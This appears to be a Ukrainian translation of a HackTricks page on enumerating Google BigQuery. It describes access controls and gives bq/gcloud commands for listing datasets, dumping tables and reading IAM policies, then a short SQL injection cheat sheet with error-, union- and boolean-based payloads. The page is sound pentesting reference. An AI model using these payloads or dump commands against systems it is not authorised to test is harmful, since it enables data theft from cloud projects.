GCP - Bigquery Enum

Підтримайте HackTricks

Основна інформація

Google Cloud BigQuery - це повністю кероване, безсерверне підприємницьке сховище даних, яке пропонує можливості для аналізу петабайтів даних, тим самим ефективно обробляючи великі набори даних. Як Платформа як Сервіс (PaaS), вона надає користувачам інфраструктуру та інструменти для полегшення управління даними без необхідності ручного контролю.

Вона підтримує запити за допомогою ANSI SQL. Основні об'єкти - це набори даних, що містять таблиці, що містять SQL дані.

Шифрування

За замовчуванням використовується шифрувальний ключ, керований Google, хоча можливо налаштувати шифрувальний ключ, керований клієнтом (CMEK). Можливо вказати ключ шифрування для кожного набору даних та для кожної таблиці всередині набору даних.

Термін дії

Можливо вказати термін дії в наборі даних, щоб будь-яка нова таблиця, створена в цьому наборі даних, була автоматично видалена через вказану кількість днів після створення.

Зовнішні джерела

Bigquery глибоко інтегрований з іншими сервісами Google. Можливо завантажувати дані з бакетів, pub/sub, google drive, баз даних RDS...

ACL набору даних

При створенні набору даних до нього прикріплюються ACL, щоб надати доступ до нього. За замовчуванням надаються привілеї Власника користувачеві, який створив набір даних, а потім Власник групі projectOwners (Власники проекту), Письменник групі projectWriters та Читач групі projectReaders:

bq show --format=prettyjson <proj>:<dataset>

...
"access": [
{
"role": "WRITER",
"specialGroup": "projectWriters"
},
{
"role": "OWNER",
"specialGroup": "projectOwners"
},
{
"role": "OWNER",
"userByEmail": "gcp-admin@hacktricks.xyz"
},
{
"role": "OWNER",
"userByEmail": "support@hacktricks.xyz"
},
{
"role": "READER",
"specialGroup": "projectReaders"
}
],
...

Контроль доступу до рядків таблиці

Є можливість контролювати рядки, до яких суб'єкт матиме доступ всередині таблиці за допомогою політик доступу до рядків. Вони визначаються всередині таблиці за допомогою DDL. Політика доступу визначає фільтр, і лише рядки, які відповідають цьому фільтру, будуть доступні для вказаних суб'єктів.

# Create
CREATE ROW ACCESS POLICY apac_filter
ON project.dataset.my_table
GRANT TO ('user:abc@example.com')
FILTER USING (region = 'APAC');

# Update
CREATE OR REPLACE ROW ACCESS POLICY
CREATE ROW ACCESS POLICY sales_us_filter
ON project.dataset.my_table
GRANT TO ('user:john@example.com',
'group:sales-us@example.com',
'group:sales-managers@example.com')
FILTER USING (region = 'US');

# Check the Post Exploitation tricks to see how to call this from the cli
# Enumerate row policies on a table
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies

Контроль доступу до стовпців

Для обмеження доступу до даних на рівні стовпців:

  1. Визначте таксономію та теги політики. Створіть та керуйте таксономією та тегами політики для ваших даних. https://console.cloud.google.com/bigquery/policy-tags

  2. Необов'язково: Надайте роль Читача з дрібними даними каталогу даних одному або декільком принципалам на одному або декількох тегах політики, які ви створили.

  3. Призначте теги політики для ваших стовпців BigQuery. У BigQuery використовуйте анотації схеми для призначення тега політики кожному стовпцю, до якого ви хочете обмежити доступ.

  4. Застосуйте контроль доступу до таксономії. Застосування контролю доступу призводить до застосування обмежень доступу, визначених для всіх тегів політики в таксономії.

  5. Керуйте доступом до тегів політики. Використовуйте Identity and Access Management (IAM) політики для обмеження доступу до кожного тега політики. Політика діє для кожного стовпця, який належить до тега політики.

Коли користувач намагається отримати доступ до даних стовпця під час запиту, BigQuery перевіряє тег політики стовпця та його політику, щоб переконатися, що користувач має дозвіл на доступ до даних.

У підсумку, для обмеження доступу до деяких стовпців для деяких користувачів ви можете додати тег до стовпця в схемі та обмежити доступ користувачів до тегу, застосовуючи контроль доступу до таксономії тегу.

Для застосування контролю доступу до таксономії потрібно увімкнути службу:

gcloud services enable bigquerydatapolicy.googleapis.com

Можливо переглянути теги стовпців за допомогою:

bq show --schema <proj>:<dataset>.<table>

[{"name":"username","type":"STRING","mode":"NULLABLE","policyTags":{"names":["projects/.../locations/us/taxonomies/2030629149897327804/policyTags/7703453142914142277"]},"maxLength":"20"},{"name":"age","type":"INTEGER","mode":"NULLABLE"}]

Перелік

# Dataset info
bq ls # List datasets
bq ls -a # List all datasets (even hidden)
bq ls <proj>:<dataset> # List tables in a dataset
bq show --format=prettyjson <proj>:<dataset> # Get info about the dataset (like ACLs)

# Tables info
bq show --format=prettyjson <proj>:<dataset>.<table> # Get table info
bq show --schema <proj>:<dataset>.<table>  # Get schema of a table

# Get entries from the table
bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'
bq extract <dataset>.<table> "gs://<bucket>/table*.csv" # Use the * so it can dump everything in different files

# Insert data
bq query --nouse_legacy_sql 'INSERT INTO `digital-bonfire-410512.importeddataset.tabletest` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'
bq insert dataset.table /tmp/mydata.json

# Get permissions
bq get-iam-policy <proj>:<dataset> # Get dataset IAM policy
bq show --format=prettyjson <proj>:<dataset> # Get dataset ACLs
bq get-iam-policy <proj>:<dataset>.<table> # Get table IAM policy
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies

# Taxonomies (Get the IDs from the shemas of the tables)
gcloud data-catalog taxonomies describe <taxonomi-ID> --location=<location>
gcloud data-catalog taxonomies list --location <location> #Find more
gcloud data-catalog taxonomies get-iam-policy <taxonomi-ID> --location=<location>

# Get jobs executed
bq ls --jobs=true --all=true
bq show --location=<location> show --format=prettyjson --job=true <job-id>

# Misc
bq show --encryption_service_account # Get encryption service account

Внедрення SQL в BigQuery

Для отримання додаткової інформації ви можете переглянути допис у блозі: https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac. Тут будуть наведені лише деякі деталі.

Коментарі:

  • select 1#from here it is not working

  • select 1/*between those it is not working*/ Але працюватиме лише початковий варіант

  • select 1--from here it is not working

Отримайте інформацію про середовище, таку як:

  • Поточний користувач: select session_user()

  • Ідентифікатор проекту: select @@project_id

Об'єднайте рядки:

  • Усі назви таблиць: string_agg(table_name, ', ')

Отримайте назви наборів даних, таблиць та стовпців:

  • Назва проекту та набору даних:

SELECT catalog_name, schema_name FROM INFORMATION_SCHEMA.SCHEMATA
  • Назви стовпців та таблиць всіх таблиць набору даних:

# SELECT table_name, column_name FROM <proj-name>.<dataset-name>.INFORMATION_SCHEMA.COLUMNS

SELECT table_name, column_name FROM <project-name>.<dataset-name>.INFORMATION_SCHEMA.COLUMNS
  • Інші набори даних в тому ж проекті:

SELECT catalog_name, schema_name, FROM <proj-name>.INFORMATION_SCHEMA.SCHEMATA

SELECT catalog_name, schema_name, NULL FROM <project-name>.INFORMATION_SCHEMA.SCHEMATA

Типи SQL Injection:

  • Основані на помилках - приведення типів: select CAST(@@project_id AS INT64)

  • Основані на помилках - ділення на нуль: ' OR if(1/(length((select('a')))-1)=1,true,false) OR '

  • Основані на об'єднанні (необхідно використовувати ALL в bigquery): UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#

  • Основані на булевій логіці: ' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#

  • Потенційно основані на часі - Використання публічних наборів даних приклад: SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000

Документація:

Підвищення привілеїв та пост-експлуатація

GCP - BigQuery Privesc

Наполегливість

GCP - BigQuery Persistence

Посилання

Підтримайте HackTricks

Last updated